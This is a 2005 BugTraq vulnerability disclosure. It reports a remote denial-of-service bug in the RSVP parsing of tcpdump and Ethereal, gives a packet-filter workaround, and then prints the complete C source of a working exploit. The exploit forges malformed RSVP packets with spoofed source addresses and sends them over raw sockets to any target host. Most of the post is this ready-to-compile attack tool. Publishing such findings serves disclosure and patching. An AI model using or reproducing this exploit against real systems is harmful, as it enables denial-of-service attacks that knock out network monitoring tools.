BugTraq
tcpdump(/ethereal)[]: (RSVP) rsvp_print() infinite loop DOS. Apr 26 2005 10:01AM
Vade 79 (v9 fakehalo us)


(i made a second message for this because it also effects ethereal,
both tcpdump and ethereal are patched in the current cvs/svn versions)

(tcpdump) workaround:
# tcpdump ip proto not rsvp

original DOS exploit reference:
http://fakehalo.us/xtcpdump+ethr-rsvp-dos.c

---------------- exploit: xtcpdump+ethr-rsvp-dos.c ----------------

/*[ tcpdump(/ethereal)[]: (RSVP) rsvp_print() infinite loop DOS. ]*
* *
* by: vade79/v9 v9 (at) fakehalo (dot) us [email concealed] (fakehalo/realhalo) *
* *
* compile: *
* gcc xtcpdump+ethr-rsvp-dos.c -o xtcpdump+ethr-rsvp-dos *
* *
* tcpdump homepage/URL: *
* http://www.tcpdump.org *
* *
* ethereal homepage/URL: *
* http://www.ethereal.com *
* *
* effected versions: *
* tcpdump: v3.8.x/v3.9.1/CVS (didn't check below 3.8.x) *
* ethereal: v0.10.10 (appears to be fixed in 0.10.10 SVN>14167) *
* *
* tcpdump(v3.9.1 and earlier versions) contains a remote denial *
* of service vulnerability in the form of a single (RSVP) packet *
* causing an infinite loop. *
* *
* this bug also effects ethereal[v0.10.10] in a similar way, i *
* did not check ethereals source code to find out why, tcpdump *
* was the focus. (the packet usually must be clicked on, the *
* ICMP replies given back will cause it too) *
* *
* as this bug doesn't appear to be fixed in the new(3.9.x/CVS) *
* versions i'll elaborate on the problem. the bug lies in *
* rsvp_print() in the RSVP_OBJ_ERO(and RSVP_OBJ_RRO) class, *
* allowing a zero length(+4 length really) situation, causing an *
* infinite loop. *
* *
* some versions of tcpdump(depending on the platform/OS) need no *
* special command-line arguments to allow this to happen, *
* however most need the "-v" argument. *
******************************************************************/
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
#include <string.h>
#include <signal.h>
#include <time.h>
#include <sys/socket.h>
#include <sys/types.h>
#include <netinet/in.h>
#include <netdb.h>
#ifdef _USE_ARPA
#include <arpa/inet.h>
#endif

/* doesn't seem to be standardized, so... */
#if defined(__BYTE_ORDER) && !defined(BYTE_ORDER)
#define BYTE_ORDER __BYTE_ORDER
#endif
#if defined(__BIG_ENDIAN) && !defined(BIG_ENDIAN)
#define BIG_ENDIAN __BIG_ENDIAN
#endif
#if defined(BYTE_ORDER) && defined(BIG_ENDIAN)
#if BYTE_ORDER == BIG_ENDIAN
#define _USE_BIG_ENDIAN
#endif
#endif

#define DFL_AMOUNT 5

/* avoid platform-specific header madness. */
/* (just plucked out of header files) */
struct iph{
#ifdef _USE_BIG_ENDIAN
unsigned char version:4,ihl:4;
#else
unsigned char ihl:4,version:4;
#endif
unsigned char tos;
unsigned short tot_len;
unsigned short id;
unsigned short frag_off;
unsigned char ttl;
unsigned char protocol;
unsigned short check;
unsigned int saddr;
unsigned int daddr;
};
struct rsvph{
unsigned char ver_flags;
unsigned char type;
unsigned short check;
unsigned char ttl;
unsigned char reserved;
unsigned short len;
};
struct sumh{
unsigned int saddr;
unsigned int daddr;
unsigned char fill;
unsigned char protocol;
unsigned short len;
};

/* malformed RSVP data. (the bug) */
static char payload[]=
"\x00\x08\x14\x01\x03\x00\x00\x00"
/* not needed for tcpdump, but this breaks ethereal. */
"\x00\x00\x00\x00";

/* prototypes. (and sig_alarm) */
void rsvp_spoof(unsigned int,unsigned int);
unsigned short in_cksum(unsigned short *,signed int);
unsigned int getip(char *);
void printe(char *,signed char);
void sig_alarm(){printe("alarm/timeout hit.",1);}

/* begin. */
int main(int argc,char **argv) {
unsigned char nospoof=0;
unsigned int amt=DFL_AMOUNT;
unsigned int daddr=0,saddr=0;
printf("[*] tcpdump(/ethereal)[]: (RSVP) rsvp_print() infinite loop "
"DOS.\n[*] by: vade79/v9 v9 (at) fakehalo (dot) us [email concealed] (fakehalo/realhalo)\n\n");
if(argc<2){
printf("[*] syntax: %s <dst host> [src host(0=random)] [amount]\n",
argv[0]);
exit(1);
}
if(!(daddr=getip(argv[1])))
printe("invalid destination host/ip.",1);
if(argc>2)saddr=getip(argv[2]);
if(argc>3)amt=atoi(argv[3]);
if(!amt)printe("no packets?",1);
printf("[*] destination\t: %s\n",argv[1]);
if(!nospoof)
printf("[*] source\t: %s\n",(saddr?argv[2]:"<random>"));
printf("[*] amount\t: %u\n\n",amt);
printf("[+] sending(packet = .): ");
fflush(stdout);
while(amt--){
/* spice things up. */
srandom(time(0)+amt);
rsvp_spoof(daddr,saddr);
printf(".");
fflush(stdout);
usleep(50000);
}
printf("\n\n[*] done.\n");
fflush(stdout);
exit(0);
}
/* (spoofed) generates and sends a (RSVP) ip packet. */
void rsvp_spoof(unsigned int daddr,unsigned int saddr){
signed int sock=0,on=1;
unsigned int psize=0;
char *p,*s;
struct sockaddr_in sa;
struct iph ip;
struct rsvph rsvp;
struct sumh sum;
/* create raw (rsvp) socket. */
if((sock=socket(AF_INET,SOCK_RAW,IPPROTO_RSVP))<0)
printe("could not allocate raw socket.",1);
/* allow (on some systems) for the user-supplied ip header. */
#ifdef IP_HDRINCL
if(setsockopt(sock,IPPROTO_IP,IP_HDRINCL,(char *)&on,sizeof(on)))
printe("could not set IP_HDRINCL socket option.",1);
#endif
sa.sin_family=AF_INET;
sa.sin_addr.s_addr=daddr;
psize=(sizeof(struct iph)+sizeof(struct rsvph)+sizeof(payload)-1);
memset(&ip,0,sizeof(struct iph));
memset(&rsvp,0,sizeof(struct rsvph));
/* values not filled = 0, from the memset() above. */
ip.ihl=5;
ip.version=4;
ip.tot_len=htons(psize);
ip.saddr=(saddr?saddr:random()%0xffffffff);
ip.daddr=daddr;
ip.ttl=(64*(random()%2+1));
ip.protocol=IPPROTO_RSVP;
ip.frag_off=64;
rsvp.ver_flags=16; /* v1/noflags. */
rsvp.type=20; /* HELLO. */
rsvp.ttl=(64*(random()%2+1));
rsvp.len=htons(sizeof(struct rsvph)+sizeof(payload)-1);
/* needed for the ip checksum. */
sum.saddr=ip.saddr;
sum.daddr=ip.daddr;
sum.fill=0;
sum.protocol=ip.protocol;
sum.len=htons(sizeof(struct rsvph)+sizeof(payload)-1);
/* make sum/calc buffer for the rsvp checksum. (correct) */
if(!(s=(char *)malloc(sizeof(struct rsvph)+sizeof(payload)+1)))
printe("malloc() failed.",1);
memset(s,0,(sizeof(struct rsvph)+sizeof(payload)+1));
memcpy(s,&rsvp,sizeof(struct rsvph));
memcpy(s+sizeof(struct rsvph),payload,sizeof(payload)-1);
rsvp.check=in_cksum((unsigned short *)s,sizeof(struct rsvph)
+sizeof(payload)-1);
free(s);
/* make sum/calc buffer for the ip checksum. (correct) */
if(!(s=(char *)malloc(sizeof(struct iph)+1)))
printe("malloc() failed.",1);
memset(s,0,(sizeof(struct iph)+1));
memcpy(s,&ip,sizeof(struct iph));
ip.check=in_cksum((unsigned short *)s,sizeof(struct iph));
free(s);
/* put the packet together. */
if(!(p=(char *)malloc(psize+1)))
printe("malloc() failed.",1);
memset(p,0,psize);
memcpy(p,&ip,sizeof(struct iph));
memcpy(p+sizeof(struct iph),&rsvp,sizeof(struct rsvph));
memcpy(p+(sizeof(struct iph)+sizeof(struct rsvph)),
payload,sizeof(payload));
/* send the malformed (RSVP) packet. */
if(sendto(sock,p,psize,0,(struct sockaddr *)&sa,
sizeof(struct sockaddr))<psize)
printe("failed to send forged RSVP packet.",1);
free(p);
return;
}
/* standard method for creating TCP/IP checksums. */
unsigned short in_cksum(unsigned short *addr,signed int len){
unsigned short answer=0;
register unsigned short *w=addr;
register int nleft=len,sum=0;
while(nleft>1){
sum+=*w++;
nleft-=2;
}
if(nleft==1){
*(unsigned char *)(&answer)=*(unsigned char *)w;
sum+=answer;
}
sum=(sum>>16)+(sum&0xffff);
sum+=(sum>>16);
answer=~sum;
return(answer);
}
/* gets the ip from a host/ip/numeric. */
unsigned int getip(char *host){
struct hostent *t;
unsigned int s=0;
if((s=inet_addr(host))){
if((t=gethostbyname(host)))
memcpy((char *)&s,(char *)t->h_addr,sizeof(s));
}
if(s==-1)s=0;
return(s);
}
/* all-purpose error/exit function. */
void printe(char *err,signed char e){
printf("[!] %s\n",err);
if(e)exit(e);
return;
}

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